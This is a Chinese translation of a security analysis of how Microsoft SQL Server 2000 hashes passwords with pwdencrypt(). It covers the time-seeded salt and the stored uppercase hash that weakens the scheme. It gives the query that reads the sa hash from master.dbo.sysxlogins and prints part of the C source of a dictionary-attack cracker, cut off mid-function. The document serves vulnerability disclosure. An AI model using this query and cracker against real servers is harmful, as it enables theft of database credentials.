[摘要]SQL服务器是怎样储存密码的?SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。 通过研究我们可以发现这个hash储存在mater数据库的sysxlogins... SQL服务器是怎样储存密码的? SQL服务器使用了一个没有公开的函数pwdencrypt()对用户密码产生一个hash。 通过研究我们可以发 现这个hash储存在mater数据库的sysxlogins表里面。 这个可能已经是众所周知的事情了。 pwdencrypt()函数还没有公布详细的资料, 我们这份文档将详细对这个函数进行讨论, 并将指出sql 服务器储存hash的这种方法的一些不足之处。 实际上, 等下我将会说‘密码hashes’。 (allyesno:后 文会讨论到, 由于时间的关系即使当密码相同的时候生成的hash也并不是唯一一个, 所以是hashes) SQL的密码hash看起来是怎样的呢? 我们使用查询分析器, 或者任何一个SQL客户端来执行这条语句: select password from master.dbo.sysxlogins where name='sa' 屏幕会返回类似下面这行字符串的东东。 0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA 954AFF4057056D9B 这是我机子上登录密码的hash。 通过分析hash我们可以从中获取pwdencrypt()的一些什么信息? 1.时间 首先我们使用查询 select pwdencrypt() 来生成hash select pwdencrypt('ph4nt0m') 生成hash 0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D 4B8279BA19EFE77 ok再一次 select pwdencrypt('ph4nt0m') 0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB85 4FB343F3DBB106CFB 我们注意到, 虽然两次我们加密的字符串都是ph4nt0m但是生成的hash却不一样。 那么是什么使两次hash的结果不一样呢, 我们大胆的推测是时间在这里面起到了关键的作用, 它是创建密码hashes和储存hashes的重要因素。 之所以使用这样的方式, 是因为当两个人输入同样的密码时可以以此产生不同的密码hashes用来掩饰他们的密码是相同的。 2.大小写(广告时间:英汉网络技术词汇这本字典好, 翻译的时候很多金山词霸找不到的东西, 它 都能弄出来) 使用查询 select pwdencrypt('ALLYESNO') 我们将得到hash 0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296 771E4C91 通过观察, 我们可以发现这段hash中有两段是相同的, 如果你不能马上看出来, 让我们把它截断来 看。 0x0100(固定) 4C61CD2D(补充key) D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 现在我们可以看出来最后两组字符串是一模一样的了。 这说明这段密码被相同的加密方式进行了两 次加密。 一组是按照字符原型进行加密, 另一组是按照字符的大写形式进行了加密。 当有人尝试破 解SQL密码的时候将会比他预期要容易, 这是一个糟糕的加密方式。 因为破解密码的人不需要理会字 符原型是大写还是小写, 他们只需要破解大写字符就可以了。 这将大大减少了破解密码者所需要破 解密码的字符数量。 (allyesno:flashsky的文章《浅谈SQL SERVER数据库口令的脆弱性》中曾经 提到“如因为其算法一样, 如果HASH1=HASH2, 就可以判断口令肯定是未使用字母, 只使用了数字和 符号的口令”。 实际上并不如flashsky所说的完全相同, 我们使用了select pwdencrypt()进行加密 以后就可以发现使用了数字和符号和大写字母的密码其hash1和hash2都会相同, 所以这是flashsky 文章中一个小小的bug) 补充key 根据上文所述, 当时间改变的时候也会使得hash改变, 在hash中有一些跟时间有关系的信息使得密 码的hashes不相同, 这些信息是很容易获取的。 当我们登录的时候依靠从登录密码中和数据库中储 存的hash信息, 就可以做一个比较从而分析出这部分信息, 我们可以把这部分信息叫做补充key。 上文中我们获取的hash中, 补充key 4C61CD2D 就是这个信息的一部分。 这个key 4C61CD2D 由以下阐述的方法生成。 time()C 函数被调用作为一个种子传递给srand()函数。 一旦srand()函数被作为rand()函数的种子 并且被调用生成伪随机key, srand()就会设置了一个起点产生一系列的(伪)随机key。 然后sql 服务器会将这个key截断取一部分, 放置在内存里面。 我们叫它key1。 这个过程将会再运行一次并 生成另一个key我们叫他key2。 两个key连在一起就生成了我们用来加密密码的补充key。 密码的散列法 用户的密码会被转换成UNICODE形式。 补充key会添加到他们后面。 例如以下所示: {'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D} 以上的字符串将会被sql服务器使用pwdencrypt()函数进行加密(这个函数位于advapi32.dll)。 生 成两个hash 0x0100(固定) 4C61CD2D(补充key) D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash) D04D67BD065181E1E8644ACBE3551296771E4C91(大写hash) 验证过程 用户登录SQL服务器的验证过程是这样子的:当用户登陆的时候, SQL服务器在数据库中调用上面例 子中的补充key4C61CD2D, 将其附加在字符串“ALLYESNO”的后面, 然后使用pwdencrypt()函数进行加 密。 然后把生成的hash跟数据库内的hash进行对比, 以此来验证用户输入的密码是否正确。 SQL服务器密码破解 我们可以使用同样的方式去破解SQL的密码。 当然我们会首先选择使用大写字母和符号做为字典进行 破解, 这比猜测小写字母要来得容易。 一个命令行的MSSQL服务器HASH破解工具源代码 ///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #i nclude <stdio.h> #i nclude <windows.h> #i nclude <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== 'x' |